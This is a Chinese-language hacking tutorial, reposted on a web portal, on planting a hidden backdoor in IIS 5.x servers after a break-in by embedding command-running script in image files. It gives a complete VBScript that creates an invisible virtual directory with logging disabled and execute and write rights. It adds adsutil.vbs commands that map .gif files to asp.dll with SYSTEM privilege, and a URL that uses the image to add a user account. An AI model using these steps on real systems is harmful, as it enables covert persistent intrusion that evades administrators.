分享
 
 
 

脚本图片类后门病毒的完美使用方法

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

前两天,看了一篇《脚本注入图片新方法》的文章,相信很多人都通过这篇文章了解了如何在图片中加入脚本,以及如何在正常的asp(或php)文件中通过include函数使图片中的脚本产生效用。

但是,这种方法的问题又随之而来了:有人问道:通常脚本网页文件中如果想要插入一个图片,简简单单的一个html标签就解决了,如果我们用include代替的话,是否太过明显?虽然这种语句放在大型页面中手工查找有点麻烦,但如果是杀毒软件用特征码查找,看到include的是以.gif.jpg等扩展名结尾的语句,相信肯定会报警。

而我们若不用类似于include之类的函数的话,图片中的asp(或php)语句又怎会执行呢?难道要打电话叫网管帮忙吗?嘿嘿…… 所以问题就集中在用什么方法可以替代include函数的作用上了,因为注入图片的脚本可以变,所以可以不怕杀,怕就怕那句该死的include。

有什么方法呢?我曾经想过我们在入侵成功后可以在IIS中添加应用程序映射,把.gif等图片的扩展名用asp.dll(或php.exe)解析,并把这虚拟目录的应用程序保护改为低,这样我们的后门就会有System权限了。当我们注入图片的脚本的作用是执行cmd命令的,我们就可以通过本地表单POST我们要执行的命令给图片,当然也可以是GET: 代码 http://www.xxx.com/1.gif?cmd=dir 这种方法当然是好,可以突破include执行脚本了。但仍有不足,而且是明显的:这种方式虽然杀毒软件是查不出了,但是仍可明显看出:管理员只要查看一下应用程序映射,那么我们所有的工作都白费了。

想到这里,我突然想到了IIS的那个著名漏洞(涉及IIS5.0及IIS5.1),我们可以在任意一个站点下建立一个不可见的虚拟目录(指的是intenet服务管理器中不可见,但利用adsutil.vbs依然可见),而且由于IIS的特性,虚拟目录的应用程序映射及应用程序保护是与IIS的默认站点分开设置的。由于虚拟目录不可见,他所有的属性当然也就不可见了。

所以我们可以安全的设置此目录的属性,而不用怕管理员发现。 当我们把这个虚拟目录指向服务器上另一个装满图片的物理目录(至于那找这种目录?我找到个好地方:Windowz默认的墙纸目录,我的xp上是%SystemRoot%\Web\Wallpaper\目录)时……呵呵,大家想到什么了没?一旦我们修改其中两个图片,注入我们的脚本后门,然后把此目录的图片映射到asp.dll(或php.exe)上,应用程序保护改为低,就可以通过我上面讲的方法进行访问执行命令了。

而且是System权限哦!呵呵,是不是很爽?管理员怎么也不会想到自己的图片却会是致命的后门!(其实这种方法动鲨曾在x档案上发文章说过,但他的方法有一个缺陷:在非web目录中有asp(或php)文件,一旦发现,的确让人怀疑。而我们利用的是图片,相信管理员看到图片不会情绪过激的非要撕开了看个明白才罢休吧?呵呵……) 那么如何建立这个虚拟目录呢?我们可以在图形界面也可以利用自编脚本或是直接用IIS自带的adsutil.vbs操作。

在此之前我先简单说明一下这个IIS漏洞的原因:我们知道IIS的配置文件是MetaBase.bin。这个文件位于%SystemRoot%\system32\inetsrv\MetaBase.bin,包含了几乎所有IIS的配置信息,是非常重要的系统文件。简单的说,我们在“intenet服务管理器”中所作的一切设置最终都会被保存在MetaBase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对MetaBase.bin进行操作外,Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作。

MetaBase的结构类似于注册表,也是树形结构,有类似键、值、项的概念。事实上在IIS3和PWS中,MetaBase的内容就是存储在注册表中的。MetaBase有两个主键:LM和Schema。其中,Schema保存了系统默认的一些配置,通常不需要修改,一旦改错也非常危险,所以无论是“intenet服务管理器”还是adsutil.vbs都没有提供修改Schema的机制。LM中包含了IIS的HTTP服务,FTP服务,SMTP服务等的配置信息。其中,LM/W3SVC/下是我们要用到的HTTP服务的配置信息。

其中有一个值:ScriptMaps,代表脚本映射。当我们在某个虚拟目录下设定ScriptMaps值后,则向该目录请求的特定扩展名的文件都会交给指定的ISAPI执行。需要强调的是,设定ScriptMaps的目录并不一定要真实存在的,只要在MetaBase中某个HTTP实例的root键下建了一个子键,对该字键同名的虚拟目录的HTTP请求IIS会认为是合法的,并会交由映射的ISAPI处理。

这样说可能谁都晕了(包括我),其实简单的作个类比:MetaBase的就够类似于注册表,我们知道,我们在安装有些程序的时候,安装程序会在注册表中建立一些必要的值,可我们一旦非正规把它安装的文件删除了时(比如有些朋友删游戏时就是直接往回收站一拉了事),注册表中的那些项就会被留下,没有用处,而造成注册表垃圾。MetaBase中也是那么回事,我们正常建立一个虚拟目录时,MetaBase中就会建立一些项。而当我们通过非正常手段删除了此虚拟目录时,那些项就会留下,与注册表不同的是,那些项还会起作用,只要我们用http请求了那个虚拟目录,IIS就会依旧按照MetaBase中的原来的虚拟目录设置顺利返回。

所以即使目录不存在,只要他曾经存在过,那么就成立。呵呵,听懂了没?(PS:还没懂)晕,那就只好请您看动鲨的那篇文章了,他说得可比我清楚。 至于如何添加不可见的虚拟目录,动鲨的那篇文章说得很清楚了,我这里就不废话了,下面提供动鲨的添加不可见虚拟目录的脚本,保存为iis.vbs: 代码 help1=IIS后门设置器 FOR WIN2000 BY 动鲨 5月30号2004 年 help2=请输入正确的虚拟目录名称和映射的路径,格式如下 help3= cscript.exe iis.vbs 虚拟目录的名称 映射的路径 help4=例如: cscript.exe iis.vbs backdoor c:\ set Args = Wscript.Arguments if args.count < 2 then wscript.echo help1 wscript.echo wscript.echo help2 wscript.echo wscript.echo help3 wscript.echo wscript.echo help4 wscript.quit end if strVRName=args(0) 虚拟目录名称 strRootPath=args(1) 虚拟目录路径 Set checkVirtualDir=GetObject(IIS://LocalHost/W3SVC/1/Root) For each VR in checkVirtualDir if VR.Name=lhxy Then foundt =yes else foundt= no End If Next if foundt =yes then wscript.echo 发现已经创建了lhxy目录,正在设置自定义的虚拟目录 creatvdir else wscript.echo 正在创建lhxy目录,以及自定义文件夹,请等待!

creatlhxy creatvdir end if wscript.echo 你创建的虚拟目录名称是& strVRName &,映射的文件夹是 & strRootPath &。 wscript.echo 请访问http://IP/lhxy/& strVRName &/ 来连接后门! wscript.echo 恭喜!后门设置全部完成! sub creatlhxy() Set objDir=GetObject(IIS://LocalHost/W3SVC/1/Root) Set myDir=objDir.Create(IISWebVirtualDir,lhxy) myDir.AccessRead=true myDir.DefaultDoc=mydir.DefaultDoc myDir.AppIsolated=0 myDir.AccessExecute=true myDir.DontLog=true myDir.AccessSource=true myDir.EnableDirBrowsing=true myDir.setinfo end sub sub creatvdir() Set objVirtualDir=GetObject(IIS://LocalHost/W3SVC/1/Root/lhxy) Set VirDir=objVirtualDir.Create(IISWebVirtualDir,strVRName) VirDir.AccessRead=true VirDir.Path=strRootPath VirDir.DefaultDoc= VirDr.AccessExecute=true VirDir.AccessWrite=true VirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VidDir.CreateProcessAsUser=0 VirDir.setInfo end sub wscript.quit 我记得Bugkidz好像也曾经贴出过类似的脚本。呵呵,没仔细看,大家不要打我,自己找吧,或是找Boy要,呵呵。

下面是通过adsutil.vbs把asp.dll添加到InProcessIsapiApps数组中的命令,使得所有asp脚本都会以System权限执行。 代码 cscript adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\System32\idq.dll C:\WINNT\System32\inetsrv\httpext.dll C:\WINNT\System32\inetsrv\httpodbc.dll C:\WINNT\System32\inetsrv\ssinc.dll C:\WINNT\System32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll 不过需要注意,adsutil.vbs只能设,不能改,所以用adsutil.vbs的时候一定要把原先的也加上,否则原先的就会丢失。不同条目之间用空格分开。 然后把你的虚拟目录加上应用程序映射: 代码 cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/ScriptMaps gif,C:\winnt\system32\inetsrv\asp.dll,1 我这里的虚拟目录是lhxy/wofeiwo,图片扩展名是.gif大家可以根据自己实际情况更改。 好了,我们看看效果吧: 代码 http://www.xxx.com/lhxy/wofeiwo/1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有